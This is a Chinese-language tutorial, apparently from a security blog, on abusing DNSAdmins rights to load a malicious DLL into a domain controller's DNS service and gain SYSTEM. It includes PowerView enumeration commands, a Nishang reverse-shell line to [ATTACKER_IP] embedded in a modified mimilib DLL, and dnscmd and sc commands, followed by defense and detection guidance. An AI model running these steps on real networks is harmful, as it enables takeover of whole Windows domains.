在域控中滥用DNSAdmins权限的危害
字数 1234 2025-08-27 12:33:30

滥用DNSAdmins权限进行域内提权攻击详解

攻击原理概述

DNSAdmins组成员或对DNS服务具有写权限的用户可以加载任意DLL到DNS服务中,由于DNS服务通常以SYSTEM权限运行,这可能导致权限提升。在企业环境中,域控制器通常也作为DNS服务器,使得这种攻击尤为危险。

攻击前提条件

  1. 攻击者需要是DNSAdmins组成员
  2. 或者对SYSTEM权限下的DNS服务具有写权限
  3. 能够加载任意DLL到目标系统

攻击步骤详解

1. 信息收集

使用PowerView检查DNSAdmins组成员:

Get-NetGroupMember -GroupName "DNSAdmins"

2. 定位目标用户

使用PowerView的Invoke-UserHunter寻找目标用户的可用token:

Invoke-UserHunter -UserName buildadmin

3. 准备恶意DLL

推荐使用修改版的mimilib.dll:

  • 原始版本:记录DNS请求到C:\Windows\system32\kiwidns.log
  • 可修改版本:插入Nishang的PowerShell反弹脚本

修改kdns.c文件,插入编码后的PowerShell反弹脚本:

Invoke-Encode -ScriptBlock {Invoke-PowerShellTcpOneLine -Reverse -IPAddress [ATTACKER_IP] -Port [PORT]}

4. 加载恶意DLL

使用dnscmd命令配置DNS服务加载恶意DLL:

dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll

注意:DLL必须通过UNC路径或本地路径加载,且路径必须能被域控访问。

5. 验证DLL加载

检查注册表确认DLL是否成功加载:

Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

6. 重启DNS服务

需要本地管理员权限重启DNS服务:

sc \\ops-dc stop dns
sc \\ops-dc start dns

7. 获取权限

成功加载后:

  • 如果DNS服务运行在域控上:获得域控的SYSTEM权限
  • 如果DNS服务不在域控上:获得DNS服务器的SYSTEM权限

攻击场景分析

  1. 域控与DNS服务器同一主机

    • 最危险的情况
    • 可直接获得域控的SYSTEM权限
    • 完全控制域环境
  2. 域控与DNS服务器分离

    • 获得DNS服务器的SYSTEM权限
    • 可控制DNS服务但无法直接控制域控

防御与检测措施

防御措施

  1. 严格审查DNSAdmins组成员
  2. 限制对DNS服务器对象的权限
  3. 监控DNS服务配置变更

检测方法

  1. 事件日志监控

    • DNS服务重启事件:
      • 事件ID 150:重启失败
      • 事件ID 770:重启成功
    • Microsoft-Windows-DNS-Server/Audit日志中的事件ID 541
  2. 注册表监控

    • 监控HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll的变更
  3. 文件监控

    • 监控C:\Windows\system32\kiwidns.log的创建和修改

技术要点总结

  1. DLL加载限制

    • 必须使用绝对路径
    • 支持UNC路径但不支持c$等管理共享
    • 不支持HTTP等远程协议加载
  2. 权限要求

    • 需要DNSAdmins权限或DNS服务写权限
    • 重启DNS服务需要本地管理员权限
  3. 攻击影响

    • 可能导致完全域控沦陷
    • 攻击隐蔽性较高

参考资源

  1. 原始技术文章
  2. Shay Ber的文章
  3. mimilib项目
  4. Nishang项目
滥用DNSAdmins权限进行域内提权攻击详解 攻击原理概述 DNSAdmins组成员或对DNS服务具有写权限的用户可以加载任意DLL到DNS服务中,由于DNS服务通常以SYSTEM权限运行,这可能导致权限提升。在企业环境中,域控制器通常也作为DNS服务器,使得这种攻击尤为危险。 攻击前提条件 攻击者需要是DNSAdmins组成员 或者对SYSTEM权限下的DNS服务具有写权限 能够加载任意DLL到目标系统 攻击步骤详解 1. 信息收集 使用PowerView检查DNSAdmins组成员: 2. 定位目标用户 使用PowerView的Invoke-UserHunter寻找目标用户的可用token: 3. 准备恶意DLL 推荐使用修改版的mimilib.dll: 原始版本:记录DNS请求到 C:\Windows\system32\kiwidns.log 可修改版本:插入Nishang的PowerShell反弹脚本 修改 kdns.c 文件,插入编码后的PowerShell反弹脚本: 4. 加载恶意DLL 使用dnscmd命令配置DNS服务加载恶意DLL: 注意 :DLL必须通过UNC路径或本地路径加载,且路径必须能被域控访问。 5. 验证DLL加载 检查注册表确认DLL是否成功加载: 6. 重启DNS服务 需要本地管理员权限重启DNS服务: 7. 获取权限 成功加载后: 如果DNS服务运行在域控上:获得域控的SYSTEM权限 如果DNS服务不在域控上:获得DNS服务器的SYSTEM权限 攻击场景分析 域控与DNS服务器同一主机 : 最危险的情况 可直接获得域控的SYSTEM权限 完全控制域环境 域控与DNS服务器分离 : 获得DNS服务器的SYSTEM权限 可控制DNS服务但无法直接控制域控 防御与检测措施 防御措施 严格审查DNSAdmins组成员 限制对DNS服务器对象的权限 监控DNS服务配置变更 检测方法 事件日志监控 : DNS服务重启事件: 事件ID 150:重启失败 事件ID 770:重启成功 Microsoft-Windows-DNS-Server/Audit日志中的事件ID 541 注册表监控 : 监控 HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll 的变更 文件监控 : 监控 C:\Windows\system32\kiwidns.log 的创建和修改 技术要点总结 DLL加载限制 : 必须使用绝对路径 支持UNC路径但不支持 c$ 等管理共享 不支持HTTP等远程协议加载 权限要求 : 需要DNSAdmins权限或DNS服务写权限 重启DNS服务需要本地管理员权限 攻击影响 : 可能导致完全域控沦陷 攻击隐蔽性较高 参考资源 原始技术文章 Shay Ber的文章 mimilib项目 Nishang项目